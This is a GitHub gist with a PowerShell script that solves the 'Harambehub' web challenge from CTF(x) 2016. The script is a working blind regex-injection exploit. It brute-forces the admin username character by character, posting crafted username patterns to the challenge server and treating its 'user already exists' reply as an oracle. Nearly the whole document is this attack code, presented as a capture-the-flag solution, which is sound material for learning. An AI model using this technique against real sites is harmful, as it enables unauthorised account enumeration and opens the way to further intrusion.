Created
August 31, 2016 20:31
-
-
Save ITAYC0HEN/c1f140baa5c538e7525a24c449abbf8f to your computer and use it in GitHub Desktop.
[CTF(x) 2016 : WEB] Harambehub – 100 pts
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Written by: Itay Cohen, Aug 2016 | |
$lowercase = [char[]]([int][char]'a'..[int][char]'z') | |
$uppercase = [char[]]([int][char]'A'..[int][char]'Z') | |
$numbers = 0..9 | |
$chars = $lowercase+$uppercase+$numbers | |
function RegexInjection($regex){ | |
foreach($c in $chars) | |
{ | |
$postParams = @{username="$regex$c"+'.*';password='mega'; real_name="beets"} | |
try | |
{ | |
$response = Invoke-WebRequest "http://problems.ctfx.io:7003/users" -Method POST -Body $postParams; | |
if($response.content -like "FAILED: User with that name already exists!") | |
{ | |
Write-Host "Match found: $regex$c.*" | |
RegexInjection($regex+$c) | |
} | |
} | |
catch {} | |
} | |
} | |
RegexInjection("\[Admin\]") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment